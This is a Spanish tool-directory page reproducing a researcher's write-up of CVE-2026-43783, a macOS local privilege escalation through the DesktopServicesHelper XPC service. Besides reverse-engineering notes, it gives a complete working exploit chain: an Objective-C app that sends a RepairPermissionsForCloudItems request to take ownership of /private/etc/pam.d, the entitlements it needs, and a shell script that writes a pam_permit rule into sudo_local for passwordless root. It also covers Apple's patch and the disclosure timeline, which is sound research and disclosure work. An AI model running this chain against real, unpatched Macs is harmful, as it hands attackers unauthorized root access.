Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-43783 — Prueba de concepto y análisis técnico de CVE-2026-43783, una escalada de privilegios local en macOS a través de DesktopServicesHelper XPC con chown arbitrario para obtener root. | Kitploit
Herramientas/GitHubGitHub/andrd3v/cve-2026-43783
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónIngeniería InversaPruebas de PenetraciónAnálisis de BinariosPapers e Investigación
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

Prueba de concepto y análisis técnico de CVE-2026-43783, una escalada de privilegios local en macOS a través de DesktopServicesHelper XPC con chown arbitrario para obtener root.

Ver Repositorio
2hace 6 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-43783: Reparar Permisos - Obtener Root: LPE mediante DesktopServicesHelper en macOS 26.5

El daemon que Finder utiliza para "reparar" los permisos en archivos de iCloud resultó estar dispuesto a reparar permisos en cualquier cosa, incluidos los directorios del sistema. En este artículo veremos cómo funciona DesktopServicesHelper internamente y por qué una sola solicitud XPC fue suficiente para obtener root.

Dentro de DesktopServicesHelper

Estaba buscando objetivos con com.apple.private.tcc.allow con el valor kTCCServiceSystemPolicyAllFiles y DesktopServicesHelper llamó mi atención. DesktopServicesHelper se encuentra en /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, y Finder lo utiliza para operaciones de archivos que requieren privilegios elevados: mover archivos, establecer permisos, trabajar con la Papelera.

Entitlements DesktopServicesHelper

Cargué el binario en IDA y fui a start(). Pasada la configuración habitual de temporizador y cola, crea un listener XPC, el punto de entrada del daemon. El listener registra un servicio mach bajo un nombre específico y comienza a escuchar conexiones entrantes. Cualquier proceso que conozca este nombre puede conectarse y enviar una solicitud. Aquí está la parte clave:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
La función `sub_1000709F4` devuelve el nombre del servicio mach. En `start()` se llama con el argumento 0, lo que significa que el daemon se registra bajo el nombre `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48 es un bloque manejador (callback) que el daemon invoca para cada evento entrante. XPC está basado en mensajes: el cliente construye un diccionario con claves y valores, lo envía al daemon, y el daemon analiza el contenido y decide qué hacer. Todos los eventos entrantes terminan en este manejador. Veamos su interior.

stru_1000B4B48 en IDA

La función invoke del bloque es sub_100032044. En una nueva conexión, el daemon primero recupera el euid y egid del cliente - ID de usuario efectivo e ID de grupo - los identificadores del usuario y grupo bajo los cuales se ejecuta el proceso que se conecta:```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
Luego asigna un manejador para los mensajes entrantes en la conexión:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - aquí es donde llegan las solicitudes XPC reales del cliente. Ahora necesitamos entender cómo el daemon decide qué solicitudes ejecutar y cuáles rechazar.

Despachador de solicitudes

sub_10003AB2C es el despachador principal. Aquí es donde el daemon decide qué hacer con una solicitud. La función es grande, así que vamos a desglosarla.

Primero, extrae la cadena "request" del mensaje - el nombre del comando que el cliente quiere ejecutar:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
Luego, el daemon recupera el token de auditoría del proceso que se conecta y verifica si se está ejecutando dentro de App Sandbox. App Sandbox es un mecanismo de aislamiento de aplicaciones de macOS que restringe el acceso al sistema de archivos, la red y otros recursos. Aquí es donde se bifurca:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

Si el cliente está en sandbox, el nombre de la solicitud se compara con una lista de permitidos de siete cadenas. Si coincide, la comprobación pasa y la solicitud se procesa. Si no, sub_100034250 mata el daemon. Si el cliente no está en sandbox, el daemon comprueba el entitlement com.apple.private.tcc.allow con el valor kTCCServiceSystemPolicyAllFiles. La ausencia del entitlement también significa la muerte.

Tras pasar la comprobación, la solicitud pasa por dos tablas de controladores. Primero sub_10002F7C8, luego sub_10002A194:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
Ahora veamos las tablas de controladores. La primera tabla (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

Nada interesante aquí. Ocho manejadores (OperationSizing, SetChildPermissions, ...), todos protegidos por comprobaciones de entitlement. Pero hay una segunda tabla - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
Eso nos da 21 handlers. El dispatcher funciona como una cascada: primero busca el nombre de la solicitud en la primera tabla (`sub_10002F7C8`, 8 comandos) - estas son operaciones "fire-and-forget" que toman la conexión XPC y el peer (objeto cliente) pero no devuelven una respuesta. Si no se encuentra - busca en la segunda tabla (`sub_10002A194`, 21 comandos) - estas son operaciones con respuesta, que además reciben un reply (objeto para enviar el resultado de vuelta al cliente).
Casi todos los comandos o no hacen nada interesante o están protegidos por verificaciones de entitlement. Pero hay uno que está abierto - `RepairPermissionsForCloudItems`. Busquemos su handler. En el ensamblado podemos ver que `sub_10002AA78` toma un puntero a función como su tercer argumento:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744. Hemos encontrado el único handler accesible desde el sandbox sin entitlements adicionales. Ahora veamos qué hace realmente con los datos que recibe.

Analizando el handler RepairPermissionsForCloudItems

El handler sub_10002D744 hace tres cosas. Primero, extrae la clave "Paths" del mensaje XPC y la deserializa mediante NSKeyedUnarchiver en un array de cadenas:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
Luego pasa cada ruta a `sub_100029CE4` mediante `sub_100034B5C` para determinar si se necesita "reparación". Para las rutas que necesitan reparación, llama a `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

No hay validación de rutas: todo lo que se pasa se procesa. La función sub_100029CE4 comprueba si se necesita "reparación". Esta es la lógica clave:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
La lógica de verificación:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

Para las rutas que necesitan reparación, se llama a sub_10002A11C - un bucle simple que itera sobre los resultados y llama a sub_100029440 para cada uno. Aquí está la lógica clave de sub_100029440:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
Eso es todo. El daemon llama a `fchown` sobre cualquier ruta que se le proporcione, sin comprobar que resida en `~/Library/Mobile Documents/` ni en ningún contenedor de iCloud. Y si la ruta es un directorio, la función recorre recursivamente todo su contenido y llama a `fchown` sobre cada elemento.
Léelo de nuevo. Déjalo asimilar. Pasa cualquier directorio - y posees todo su contenido.

## Resumen

La cadena completa desde la solicitud XPC hasta `fchown`:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

Una solicitud XPC - y cualquier archivo o directorio es nuestro.

Explotación

Así que tenemos un chown arbitrario sobre cualquier ruta en el disco. Ahora solo necesitamos convertirlo en root. En macOS, la autenticación pasa por PAM. Las configuraciones están en /private/etc/pam.d/ - un archivo por programa que verifica contraseñas: sudo, login, su, etc. El directorio es propiedad de root:wheel. Así que podemos tomar posesión de él con nuestro chown. Después de eso somos libres de crear el archivo /private/etc/pam.d/sudo_local con una sola línea:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so` es un módulo PAM que siempre devuelve éxito. `sudo` comprueba `sudo_local` antes de la configuración principal. Resultado: `sudo` ya no pide contraseña.

Pero hay un inconveniente. No puedes simplemente conectarte a `com.apple.DesktopServicesHelper` desde el sandbox: el sandbox bloquea mach-lookup a este servicio por defecto. Pero el propio daemon comprueba que el proceso llamante esté en sandbox - y solo entonces deja pasar `RepairPermissionsForCloudItems` sin una comprobación de entitlement. La ironía: el sandbox aquí no es una defensa - es un pase.

Para conseguir mach-lookup más allá del sandbox, necesitamos el entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Aquí está el conjunto mínimo de entitlements para la aplicación PoC:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

Dos entitlements. com.apple.security.app-sandbox - habilita el sandbox (sin él, el daemon requeriría un entitlement TCC y nos rechazaría). com.apple.security.temporary-exception.mach-lookup.global-name - un entitlement de excepción del sandbox. El sandbox no permite conexiones a todos los servicios mach, y com.apple.DesktopServicesHelper no está en la lista de permitidos. Esta clave añade una excepción para un servicio específico. Eso es todo lo que necesitamos. El código va directamente en ViewController.m. El método clave es chownPath:, que se conecta al daemon y envía la petición:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
Nos conectamos a `com.apple.DesktopServicesHelper`, archivamos la ruta en un `NSArray` mediante `NSKeyedArchiver` (como espera el daemon), construimos un diccionario XPC con la clave `"request"` = `"RepairPermissionsForCloudItems"` y lo enviamos.

Al iniciar la app, llamamos a `chownPath:` sobre `/private/etc/pam.d` y comprobamos el resultado:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200ms de espera, luego lstat - si el propietario cambió a nuestro UID, el chown tuvo éxito.

Ahora vamos a unirlo todo. El script de shell lanza la aplicación PoC, espera a que el daemon haga su trabajo, verifica que el chown tuvo éxito, escribe la regla PAM y obtiene root:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## Parche de Apple
Apple añadió una comprobación de entitlement al principio del handler `RepairPermissionsForCloudItems`:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

Ahora solo los procesos con el entitlement privado com.apple.private.desktopservices.cloud-repair-perm pueden invocar RepairPermissionsForCloudItems. Sin él, sub_100034250 mata el daemon. El resto de la lógica de la función permanece sin cambios.

Cronología

FechaEvento
05/09/2026Informe enviado a Apple Product Security
05/11/2026Apple trasladó el informe a revisión

¡Gracias por leer, feliz caza de bugs!

Descargar herramienta
05/13/2026Apple reprodujo el bug, programó la corrección para otoño
05/26/2026Parche en macOS 26.6 beta 1
08/11/2026Asignado CVE-2026-43783